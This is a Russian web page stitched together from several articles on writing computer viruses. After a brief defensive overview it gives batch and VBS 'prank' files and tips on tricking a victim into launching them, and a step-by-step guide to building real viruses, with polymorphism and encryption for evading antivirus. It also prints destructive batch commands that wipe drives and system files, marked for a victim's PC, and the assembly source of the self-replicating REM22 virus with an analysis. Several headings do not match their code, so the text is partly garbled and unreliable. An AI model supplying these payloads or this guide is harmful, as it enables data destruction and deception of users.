Как пишут вирусные программы. Как создать вирус шутку с помощью блокнота. Что такое вирус

Это программное обеспечение, целью создания которого является получение несанкционированного доступа к ресурсам компьютера или информации на жестком диске. Часто создается для нанесения вреда путем копирования, искажения, удаления, подмены информации. Рассмотрим далее, как создать вирус-шутку, защититься от вирусов.

Что такое вирус

Перед тем как создать вирус, необходимо точно определить, что это такое. Чтобы программа считалась вредоносной, она должна:

  • уничтожать информацию или нарушать работу компьютера;
  • выполняться без предупреждения;
  • иметь явную цель несанкционированного доступа или уничтожения информации.

Компьютерные вирусы должны отвечать всем вышеназванным критериям. Например, взломщик защиты от копирования - это не вредоносная программа. Она не уничтожает файлы, а только подбирает пароль для разблокировки. Также программа для форматирования диска не может считаться вредоносной. Она уничтожает данные на компьютере, но выполняется с согласия пользователя. Если программа уничтожает информацию из-за внутренних ошибок, она тоже не считается вирусом. Хотя разработчики могут ответить за халатное отношение к работе или как нарушители прав потребителей, ведь программа могла удалить важные данные. В целом четкие критерии до сих пор не определены. Чтобы программа считалась вирусом, проводят программно-техническую экспертизу.

Виды вирусов

Зачем создают вирусы? Существует много причин. Одна часть вредоносных файлов действительно опасна и может навредить работоспособности машины, другая наносит вред косвенно. Список основных целей:

  1. Дестабилизация.
  2. Установка другого вредоносного ПО.
  3. Кража, мошенничество, шпионаж.
  4. Рекламное ПО.
  5. Прочее.

Компьютерные вирусы создают помехи, это может быть беспричинное открытие и закрытие дисковода, поломка аппаратного обеспечения.

Некоторые программы ведут себя достаточно хитро. Загрузка медиафайлов по зараженной ссылке может привести к скачиванию вредоносного ПО.

Для кражи любой информации применяется сканирование жесткого диска, регистрация нажатия клавиш, перенаправление пользователя на поддельный сайт. Так, крадутся аккаунты и используются для рассылки спама, взламываются платежные системы, блокируются компьютеры с целью вымогания денежных средств. Это бывает платное программное обеспечение, которое после скачивания ничего полезного не делает.

Из-за испорченного файла на компьютере может быть организован общедоступный прокси-сервер, машина станет участником ботнета и будет использоваться для проведения DDOS-атак. С популяризацией биткоина участились случаи скрытого майнинга на ПК пользователей.

Также существуют программы, которые показывают рекламу или собирают различную информацию в маркетинговых целях.

Как создать вирусы

В "Блокноте" (а точнее, в любом текстовом редакторе) можно создать вредоносную программу, причем сделать это можно точно так же, как создают обычные программы. Используются любые языки программирования. Обычно, это C++, но может быть Delphi и.Net. Целью создания вируса может быть шутка или ознакомление с тем, как он работает. Простая программа пишется прямо в "Блокноте", а сам код занимает очень мало строк.

Полностью исключить попадание вируса на компьютер можно при условии отключения интернета и отказа от использования нелегального ПО. Файлы, содержащие вирусы, могут функционировать и без подключения к интернету. В таком случае они навредят информации на жестком диске пользователя или станут причиной некорректной работы программ.

Сегодня основной целью хакеров становится не разработка деструктивных программ, которые явно вредят работе системы, а создание продуктов, которые ведут себя тихо. Они могут работать долгое время и в один момент нанесут очень серьезный вред.

Признаки заражения

Перед тем, как создать вирус, злоумышленники анализируют все пути, по которым его могут обнаружить, пытаются их обойти. Антивирусы эффективно находят вредоносные файлы, но по ошибке пользователя некоторые из них могут быть добавлены в исключения. Чтобы вовремя среагировать, что компьютер заражен, нужно отслеживать подозрительные и странные действия.

Самые очевидные признаки заражения:

  • открытие окон с незнакомым содержимым;
  • блокировка доступа к сайтам;
  • сторонние процессы в "Диспетчере задач";
  • новые записи в автозапуске;
  • невозможность внесения изменений в настройки компьютера;
  • случайный перезапуск компьютера или отключение.

Некоторые из симптомов могут быть вызваны вирусом-шуткой и не несут явную угрозу системе. А некоторые из них используются для отвлечения внимания, в то время пока основной вирус собирает данные о пользователе.

Распространение вирусов

Атака имеет несколько этапов. Первый отвечает на вопрос о том, как создать вирус, то есть это технологический этап. На втором осуществляется доставка вредоносного ПО на компьютер. Основные способы распространения вирусов:

  • exploit использует уязвимости в программном обеспечении, с помощью чего захватывает контроль над системой и нарушает ее функционирование;
  • логическая бомба срабатывает при определенном условии, она неотделима от той программы-носителя, в которую интегрирована;
  • троянская программа проникает в компьютер под видом легального программного обеспечения, очень часто является частью целой спланированной многоступенчатой атаки;
  • черви самостоятельно распространяются через локальные и глобальные сети, для этого используются ошибки в администрировании, а также средства социальной инженерии.

Профилактика и лечение

Для защиты от вирусов существуют антивирусы. Они качественно защищают систему, но, как правило, сам пользователь виноват в заражении системы. Поэтому нужно:

  • своевременно устанавливать обновления, использовать лицензионные копии;
  • работать на компьютере под правами пользователя, а не администратора;
  • открывать компьютерные файлы только из надежных источников;
  • использовать брандмауэр.

Как сделать вирус-шутку

Вирус - это в первую очередь программа, которая изменяет содержимое каких-либо файлов. Она создается так же, как и любая другая программа. Самые простые варианты вредоносного ПО можно создать в "Блокноте". Для этого не нужны специальные навыки или знание языков программирования.

Как создать вирусы в "Блокноте"?

Следующие строки создадут 1000 папок за одну секунду, что введет юзера в ступор:

Как создать вирус для кражи паролей? Ответить на этот вопрос уже сложнее. Для этого необходимо продумать, каким образом пользователь запустит вредоносный файл, каким образом будет осуществляться кража данных. Только потом можно приступить к реализации. Это очень сложный процесс. Кроме того, это может быть незаконно, так что не рекомендуем читателям создавать вирусы в каких-либо целях (кроме, конечно, учебных).

Вирусы-шутки - это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые замедляют работу компьютера, выводят из строя работу операционной системы или просто пугают пользователя, а затем заставить его запустить этот файл. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее, что они могут сделать, - это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для компьютеров под управлением Windows, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.

Шаги

Пишем поддельный вирус, открывающий «бесконечные» окна

Запустите Блокнот. Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор - достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.

Наберите «@echo off», а затем, с новой строки, «CLS». По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимой для «жертвы».

Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:

  • Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы) . Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
    • iexplore.exe - браузер Interent Explorer
    • calc.exe - Калькулятор
    • notepad.exe - Блокнот
    • winword.exe - Microsoft Word
  • Чтобы открыть бесконечное количество окон, сначала с новой строки наберите :A , включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A . Эта последовательность команд заставит компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.
  • Напишите в «вирусе» сообщение. Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его компьютером что-то не так. Чтобы отобразить сообщение, начните новую строку и наберите echo Ваше сообщение . Затем с новой строки наберите pause . Команда «pause» остановит выполнение «вируса» после появления сообщения.

    • Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Фатальная ошибка. C:// каталог поврежден.
  • Сохраните текст как пакетный файл. Когда закончите, в меню Блокнота выберите Файл > Сохранить как... , а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» выберите «Все файлы». Сохраните файл где нибудь на компьютере «жертвы».

    Заставьте пользователя открыть файл. Чтобы ваша шутка сработала, нужно сделать так, чтобы «жертва» запустила ее. Этого можно добиться разными способами. Один из самых работающих - создать ярлык для своего пакетного файла и изменить его иконку на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!

    Как написать.VBS с сообщением об ошибке или взломе

    Запустите Блокнот. Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другим - вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его в работе операционной системы произошла ошибка или что компьютер был взломан.

    Наберите "x=msgbox("Текст сообщения", 5+16, "Заголовок сообщения") точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка "Ошибка терминала", а в качестве сообщения - "В каталоге C://Users/Windows/system32 обнаружена критическая неисправность".

    • Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
    • Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:
      • 0 (Кнопка OK)
      • 1 (Кнопки OK и Отмена)
      • 2 (Кнопки Отмена, Повтор и Пропустить)
      • 3 (Кнопки Да, Нет, и Отмена)
      • 4 (Кнопки Да и Нет)
      • 5 (Кнопки Повтор и Отмена)
      • 16 (Иконка критической ошибки)
      • 32 (Иконка помощи)
      • 48 (Иконка предупреждения)
      • 64 (Иконка информации)
  • Повторяйте сообщение об ошибке сколько вам угодно. Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение, откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.

    Сохраните документ как файл Visual Basic (VBA). Когда вы введете все желаемые сообщения, сохраните файл. В меню Блокнота выберите Файл > Сохранить как... , дайте своему файлу имя с расширением «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить «жертву» запустить этот файл, например используя трюк из метода 1.

    Используем предварительно написанный пакетный файл

    Запустите Блокнот. Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это сработает не на всех компьютерах.

    Скопируйте и вставьте следующие команды: @echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin

  • Изменяйте эти команды на свое усмотрение. Этот код случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.

    • Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем как перемещать вирус-шутку на компьютер «жертвы».
    • Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:\Program Files\Internet Explorer».
  • Сохраните текст как пакетный файл и запустите его (если отважитесь). Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.

    • Чтобы было веселей, попробуйте заменить в одной из команд "*.exe" на полный путь к какому-либо документу пользователя. Например, "start C:\Документы\123.doc" откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
      edit (полное имя файла)
      goto begin
      откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!
  • Найдите операционную систему, которую желаете атаковать. Чаще всего - это Microsoft Windows, в особенности старые версии. Множество пользователей не обновляют их операционные системы, оставляя их уязвимыми к современным атакам.

    • Mac OS X и Linux считаются более защищенными от вирусных атак (связано с работой прав доступа и архитектурой операционной системы). 95% всех вирусов нацелены на пользователей Windows.

    Решите, как распространять вирус. Вирус будет являться вирусом, если сможет распространиться на других пользователей. Вам необходимо придумать метод доставки до того, как начнете работу над созданием вируса. Часто используемые компоненты доставки:

    Найдите слабое место для атаки. Успешные вирусы используют слабые места в программах и системной безопасности, чтобы работать и распространяться. На это уходит много исследований и знаний, но существуют специализированные сообщества, которые могут с этим помочь.

    Определитесь с функционалом вашего вируса. Что сделает вирус после заражения системы? Эффекты могут быть различными, начиная от нулевого эффекта, отображения сообщения, удаления файлов и другие, более вредоносные эффекты. Знайте, что создание и распространение вирусов является незаконным действием во многих странах.

    Выберите язык. Чтобы создать вирус, вам необходимо хотя бы базовое понимание какого-нибудь языка программирования или скриптового инструмента. Более сложные вирусы очень часто включают несколько языков программирования. Для наиболее эффективных вирусов, вам понадобится знание ассемблера.

    • Если вы хотите создать исполняющие вирусы, то поищите курсы C и C++ в интернете.
    • Если вы хотите создать макро вирусы, то выучите язык макросов для нужной программы, например, Microsoft Office.
    • Visual Basic может быть использован для создания вредоносных программ для пользователей Windows.
  • Начните работу над вашим вирусом. На это уйдет длительное время, особенно в первый раз. Экспериментируйте как можно больше, и узнайте о способах распространения вашего кода в зависимости от используемого языка. Существуют руководства и блоги по изучению некоторых языков.

    • Узнайте о полиморфном коде. Это изменит код вашей программы после каждой реплики, скрывая вирус от антивирусных программ. Полиморфный код будет довольно продвинутым шагом, который создается различными способами в разных языках программирования.
  • Узнайте о способах спрятать ваш код. Кроме полиморфного кода, существуют способы спрятать ваш вирус. Шифрование является очень популярным инструментом среди разработчиков вирусов. На это уходит много времени и чтения, но в результате вы сможете защитить и продлить жизнь вашему вирусу.

  • Проверьте ваш вирус. Как только создадите работающий прототип, проверьте его на нескольких машинах и сборках. Самый простой способ – это использование виртуальных машин с различными сборками.

    • Постарайтесь проводить тесты в закрытой сборке так, чтобы избежать случайного попадания вашего вируса в сеть. Поставьте тестовые машины в отдельную сеть и протестируйте распространение вируса.
    • Улучшайте код вашего вируса по ходу тестирования. Работайте над ошибками вашего кода.
  • ДИСКЛЕЙМЕР

    Данная статья написана в образовательных целях и автор не несет ответственности за совершенные вами действия. Будьте благоразумны и цените труды других людей.

    Как создаются компьютерные вирусы | Немного теории

    Компьютерные вирусы – вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.

    Компьютерные вирусы имеют следующие классификации:

    • Загрузочные вирусы – вирусы, которые проникают в загрузочный сектор устройств хранения данных, таких как жесткие диски, флэшки, дискеты и т.д., и способные нарушить доступность файлов.
    • Файловые вирусы – тип вирусов, которые внедряются в выполняемые файлы (файлы с расширением COM и EXE) и негативно влияют на их функциональность.
    • Файлово-загрузочные вирусы – вирусы, объединяющие в себе функции двух предыдущих типов вирусов;
    • Документные вирусы – вид вирусов, которые заражают файлы офисных систем. Такой вид еще называют «макровирусами», поскольку заражение системы происходит посредством заражения макросов программы.
    • Сетевые вирусы – тип вирусов, которые распространяются за счет использования компьютерной сети, т.е. сетевых служб и протоколов.

    Самый известный вирус в мире назывался ILOVEYOU. По своей сути он был абсолютно безвредным, червь, который спамил почты людей. Однако недавно мир был подвержен кибератакам, которые заставили всех задуматься о своей безопасности. Вирус WannaCry заразил очень много компьютеров и требовал выкуп в размере 300 долларов в биткоинах. Однако некоторые аналитики считают, что это была лишь проверка и дальше будет ещё одна атака, гораздо больших масштабов и направлена она будет на пользователей Apple.

    И всё же, WannaCry хоть и был распространен и довольно много с него денег поимели, это был обычный WinLocker, который можно было снять. Дело в том, что платили в большинстве банки и компании, у которых не было времени разбираться, а 300 долларов для них не является серьезной потерей.

    Создаем шуточные вирусы и не только

    Давайте создадим несколько своих вирусов, которые я не рекомендую проверять на своей компьютере, так как это может очень плохо закончиться.

    Сделать такие вирусы сможет абсолютно каждый, так как нам не понадобятся специализированное ПО и т.п., нам нужен просто блокнот.

    Сразу скажу, что сохранят наш файл практически во всех случаях мы будет в формате.bat, имя я пишу anyname, но вы можете давать абсолютно любое.

    Удаление всех файлов

    Данный код мы сохраняем как anyname.bat и все, после запуска всё содержимое удалится.

    Синий экран Смерти

    @echo off del %systemdrive%*.* /f /s /q shutdown -r -f -t 00

    Данный код мы сохраняем в файл anyname.vbs, обратите внимание, что тут формат файла обязательно должен быть.vbs, а не.bat.

    Форматируем диски C, D, E за три секунды

    rd/s/q D:
    rd/s/q C:
    rd/s/q E:

    Сохраняем данный файл как anyname.bat и запускаем. Форматирование всех дисков произойдёт за три секунды.

    Эффект Матрицы | Matrix Effect

    @echo off
    color 02:tricks
    echo %random%%random%%random%%random%%random%%random%%random%%random%
    goto tricks

    Сохраняем как anyname.bat и запускаем, это не опасно для вашего ПК.

    Выключение ПК и отключение возможности перезагрузики

    @echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c: tldr del c: tdlr attrib -r -s -h c:windowswin.ini del c:windowswn.ini @echo off Msg *YOU GOT INFECTED! Shutdown -s -t 7 -c "A virus is taking over c:Drive

    Сохраняем как kind.bat, ОПАСНО ЗАПУСКАТЬ НА СВОЕМ ПК!

    Заменяем файлы на нерабочие

    Данный вирус заменит следующие форматы(.exe .jpeg .png .mpeg .sys)

    @echo off assoc .txt=jpegfile

    Сохраняем как anyname.bat и запускаем.

    Удаление операционной системы

    @echo off Del C:*.* |y

    Сохраняем как anyname.bat и запускаем на ПК жертвы.

    А на этом сегодня всё, спасибо за прочтение статьи и я надеюсь вы не будете злоупотреблять полученной информацией. Если вы хотите ещё вирусов, то пишите в комментариях, сделаем! Сохраните статью в своих социальных сетях, чтобы не потерять.

    Удачи в жизни и до встречи!

    "Он долго куда-то ехал в неудобной жесткой упаковке, его трясло и укачивало, тело требовало пищи. Он не понимал, почему его, только-только появившегося на свет, вышвырнули из дома... Наконец тряска прекратилась, и кто-то чужой и грубый вскрыл приаттаченный к письму архив. Молодой, любопытный вирус высунулся наружу и совершил свое первое деление..."

    В этой статье я поделюсь опытом вирусописания. Основной принцип деятельности любого вируса можно выразить в нескольких словах: тело вируса во время его выполнения трактуется, как код, а во время заражения, как данные. Существует много типов вирусов и различных способов заражения. Естественно, сам механизм действий вируса зависит от конкретной операционной системы. Есть, например, вирусы, работающие в защищенном режиме процессора (режим максимальных
    привилегий и абсолютной адресации всей памяти). На лечение таких экземпляров таким компаниям, как AVP, приходится тратить очень много времени и ресурсов. Единственное, что спасает создателей антивирусов - очень малое число реально профессиональных вирусов.

    Для того, чтобы научиться самому писать вирусы необходимо лишь знание основ ассемблера. Я имею в виду, что при начальных знаниях ты можешь пробовать писать собственные вирусы и исследовать уже существующие. Другие полезные, а порой необходимые,
    знания придут по мере твоего изучения чужих творений. Из ресурсов по этой теме могу посоветовать страничку, содержащую огромное количество книг и статей:
    http://vx.netlux.org/lib_rus.shtml .
    Все ее документы написаны на очень понятном и доступном
    языке. Так же существует известный электронный журнал Infected Voice. В нем есть удобная система навигации, позволяющая ориентироваться в новых материалах (исходниках и статьях). Этот журнал выходит раз в пол года (по крайней мере так было раньше, сейчас не уверен) и содержит все нововведения в этой области.

    Предположим ты нашел исходник какого-либо вируса и хочешь его исследовать. Как это сделать? Честно говоря, я сам столкнулся с такой проблемой в самый первый раз. У меня вопрос стал так: есть текст вируса, хочу посмотреть, как он работает, и при этом Я ЕГО БОЮСЬ! Это полностью реально: что помешает этому вирусы спалить мой CMOS или потереть мой винт? Ответ: ничто. При твоих неправильных действиях вирус может причинить тебе тот вред, на который запрограммирован. Однако, алгоритм правильных действий достаточно прост. Сейчас мы в нем и разберемся.

    Будем считать, что исходник вируса написан на ассемблере. Этот язык идеально подходит для написания вирусов. Как известно, в
    ассемблере есть только две команды вызывающие "реальные" (имеются в виду действия, способные произвести
    необратимые изменения на жестком диске или еще где-нибудь) это "INT" и "OUT", все остальные команды работают с регистрами процессора и флагами (хоть и достаточно грубо, но по большому счету верно). Мы не рассматриваем функции WIN API, так как их в принципе можно считать заменой прерываний DOS, а их вызов - заменой команды
    "INT".

    Небольшая справка для новичков или давно не писавших на асме: команда "INT" служит для вызова прерываний DOS или BIOS, а команда "OUT" для записи данных в порт. При этом для команды "INT" номер функции указывается в регистре AH (чаще всего), а
    для команды "OUT" в регистрах AL, AX, EAX хранятся данные, записываемые в порт.

    Итак. Возьми любой отладчик. Так как для начала нужно разбираться в вирусах под DOS (они по-прежнему работают и под
    Win), то подойдет любой отладчик: Turbo Debugger от Borland Inc., CodeView от MicroSoft, AFDPRO или AVPUTIL. Далее, загрузи исходник в отладчик и пошагово трассируйте. Главное придерживаться ТОЛЬКО ОДНОГО ПРАВИЛА. Его можно назвать золотым.
    ВНИМАНИЕ: ты можешь смело выполнять исходный код твоего вируса, но как только ты дойдешь до команд "OUT" или "INT" сразу останавливайся и начинай анализ.

    Ты должен проанализировать:

    • номер вызываемого прерывания или порта записи;
    • номер вызываемой функции или данные, записываемые в порт.

    Для того, чтобы разобраться с реальными действиями этих команд используй либо Tech Help, либо любую доку по асму, либо любую
    книгу. Главное, чтобы в твоем источнике можно было найти инфу по всем прерываниям и портам.
    Таким образом, ты можешь понять, что будет делать
    следующая команда, не выполнив ее у себя на компьютере. Во время трассировки, записывай все данные (состояние регистров, адреса команд, данные о
    вызываемых функциях и т.д.) на листочек бумаги. Тогда к моменту вызова функции (или записи в порт) ты будешь во всеоружии и сможешь определить, что произойдет, если ты выполнишь следующую команду. Так же это поможет тебе при сравнительном анализе изменений в регистрах и флагах.

    После того, как ты поймешь, что делает та или иная команда ("INT" или "OUT"), пропусти ее и иди дальше, пока не
    встретишь конец файла или следующую такую команду. В результате ты разложишь любой вирус по полочкам и разберешься в его функционировании.

    Давай рассмотрим пример. В качестве оного я взял небольшой вирус, написанный неким Reminder"ом. Я достал его из одиннадцатого номера Infected Voice"а. Там он был без комментариев, так что всю работу пришлось проделать самому. Что меня
    привлекло в этом творении: очень маленький исходный код, очень маленький размер откомпилированного экзешника, непонятный (на первый взгляд) алгоритм. Вот его исходный код (кстати, называется он REM22):

    Model tiny
    .code
    .startup
    start:
    pop cx
    hel:
    xchg ax,bx
    db 108h shr 1
    db 4eh ; dec si
    db 9eh shr 1
    db 3ch ;cmp al,xx
    db 100h shr 1
    db 40h
    fmask db "*.*",0
    lodsw
    cwd
    mov dl,al
    shl dx,1
    int 21h
    jmp hel
    end

    Этот вирус на мой взгляд является шедевром, так как при таком маленьком размере
    организовать механизм размножения - работа по истине гения. Когда мы сейчас разберем, что и как он делает, все
    станет на свои места. А пока надо заметить: в принципе, этот вирус не несет каких-либо деструктивных действий (думаю, размножение нельзя считать таковым), однако заражает все файлы
    в одном с ним каталоге. Он не является "профессиональным" вирусом, то есть в нем отсутствуют многие механизмы, характерные для серьезных творений:

    • отсутствует механизм "свой/чужой" (вирус заражает всех без разбора, даже себя или уже зараженные объекты);
    • заражение происходит только файлов в одном с ним каталоге (попробуй его скомпилировать и запустить в папке, где кроме него
      никого нет:));
    • вирус не является полиморфным (не шифрует сам себя и не меняет свой код);
    • вирус не несет деструктивных действий;
    • вирус не является резидентым.

    Давай заглянем к внутрь нашего
    оверрайетера. Исходник представляет из себя модель для создания exe-файла. ".startup" это директива TASM"а, без нее можно обойтись, но тогда придется писать "org 100h", а потом ставить метку (и
    в конце, после "end", ставить имя метки). Остальные команды можно без проблем найти в любой книжке и посмотреть, что они делают (не ленись). Осталось только разобраться, что делают эти команды вместе в совокупности.

    Данный шедевр - это обыкновенный цикл, который повторяется 6 раз. Что же происходит в цикле? А происходит то, что мы вызываем int 21h с шестью разными функциями (93, 4E, 3C, 40, 2E, 00). Смотрим
    по порядку, значит:

    "pop cx" - это только для обнуления сх (в вершине стека, как ты знаешь, вначале проги лежит зеро). Зачем? А чтобы на команде SUB CH, (поищи, оно должно быть по смещению 108h в дебаггере) получить CH=01 (по смещению 2Ah (это в PSP где-то) всегда лежит FFh), т.е. можно не выпендриваться и просто написать sub ch,ffh, но это изменит код проги... Получается:
    *.*,0 = sub CH,, а это уже готовая маска для поиска... ВОТ ГДЕ ГЕНИАЛЬНОСТЬ!!!

    То есть sub ch,ffh - это "Aе " (в ASCII кодах с пробелом в конце). Дальше, все что идет со смещения 101 (code 93) до смещения 10B (code 00) - это ФУНКЦИИ ДЛЯ int 21h!!! Т.е. это 6 функций, которые мы по очереди вызываем в цикле (см. выше их номера), а код, который при этом получается - это просто мишура. Это не имеет АБСОЛЮТНО НИКАКОГО СМЫСЛА! ТАК ПОЛУЧИЛОСЬ, ЕСЛИ СОБРАТЬ ФУНКЦИИ ПОДРЯД. То есть, если я напишу TANAT, то это переведется в последовательность каких-то команд, ведь так? Но это по сути данные... хотя в данной проге - это и данными не назовешь, это просто ФУНКЦИИ для int 21h, вот в чем
    ГЕНИАЛЬНОСТЬ!!! Дальше рассказывать смысла нет - потому как в каждом из шести циклов происходит вызов функции, ну и все регистры приблизительно
    подогнаны под идеалы... Смотри:

    В первый раз вызывается 93h функция: Pipe (Error) - она для самой проги НЕ ВЫПОЛНЯЕТ НИКАКОЙ НАГРУЗКИ, НИЧЕГО ПОЛЕЗНОГО НЕ ДЕЛАЕТ, ЭТО ПРОСТО ИЗЛИШЕК, ОНА НЕ НУЖНА, ЭТО ЛИШНИЙ ЦИКЛ, НО УЧИТЫВАЯ гениальность кода, она просто ВОЗНИКАЕТ САМА ПО СЕБЕ И ОТ НЕЕ НИКУДА НЕ ДЕНЕШЬСЯ!!! Будет еще одна такая "левая" функция - см. дальше.

    Вторая: 4Eh - вот это уже то, что надо! Поиск файла, причем к моменту вызова в dx находится смещение маски файла (108h)!!!

    Третья: 3Ch - создание файла. Это еще одна "левая" функция. Она нам ни к чему. Нам незачем создавать файл (ведь мы должны только записать себя в тот файл, что нашли в предыдущем шаге). В DX лежит какой-то левый мусор, естественно с
    именем файла ничего общего не имеет, поэтому CF=1 и мы переходим на следующий цикл.

    Четвертая: 40h - Запись в файл. А вот это то, что нам надо уже! DX содержит смещение 100h (т.е. начало REM22), а вот CX немного подвел - он равен 400h, т.е. реально в начало найденного файла
    запишется 400h байт, тогда как REM22 занимает всего 22 байта, т.е. запишется 1002 лишних байта. Это так. Но учитывая гениальность кода:), это можно простить.

    Пятая: 2Eh - Set Verify Flag. Это САМАЯ ЛЕВАЯ функция, тут она просто - аппендикс проги.

    Шестая: 00h - это оказывается выход из проги (я тоже не знал).

    Вот и все: то есть мы имеем 6 циклов, из которых смысловых только 3: поиск, запись и выход.
    Скорее всего тебе будет очень многое не
    поянтно. Чтобы разобраться, загрузи исходник в отладчик, потрассируй его, посмотри
    на состояние данные в регистрах, посмотри на мои комментарии. Тогда все станет ясно. В заключение
    привожу отладочную таблицу, чтоб ты не составлял ее сам (за одно и посмотришь, как она должна выглядеть). В принципе ее одной должно хватить,
    для понимания того, что происходит в этом вирусе, но, думаю, комментарии будут не лишними.

    ADR CODE ASM 1 2 3 4 5 6
    100 59 POP CX CX =0 - - - - -
    101 93 XCHG AX, BX AX =BX=0 AX =0, BX=9300h AX =9300h, BX=0 AX =0, BX=0005h AX =0005h, BX=0400h AX =0400h, BX=2E00h
    102 84 4E 4F TEST B+4Fh,
    CL
    - - - - - -
    105 3C 80 CMP AL,
    80h
    - - - - - -
    107 40 INC AX AX =0001h AX =0001h AX =9301h AX =0001h AX =0006h AX =0401h
    108 2A 2E 2A 00 SUB CH, B CX =0100h CX =0200h CX =0300h CX =0400h CX =0500h CX =0600h
    10C AD LODSW (DS:SI->AX) AX =DS:
    100=9359h
    AX =DS:
    102=4E84h
    AX =DS:
    104=3C4Fh
    AX =DS:
    106=4080h
    AX =DS:
    108=2E2Ah
    AX =DS:
    10A=002Ah
    10D 99 CWD (DX=E(AX)) DX =FFFFh DX =0000h DX =0000h DX =0000h DX =0000h DX =0000h
    10E 8A D0 MOV DL, AL DX =FF59h DX =0084h DX =004Fh DX =0080h DX =002Ah DX =002Ah
    110 D1 E2 SHL DX, 1 DX =FEB2h DX =0108h DX =009Eh DX =0100h DX =0054h DX =0054h
    112 CD 21 INT 21h AH =93 (Pipe) - Error AH =4E
    (FindFirst)
    AH =3C (CreateFile) AH =40 (WriteFile) AH =2E (SetVerifyFlag) AH =00 (Terminate)
    114 EB EB JMP SHORT 101 ??? - - - ??? -
    
    Top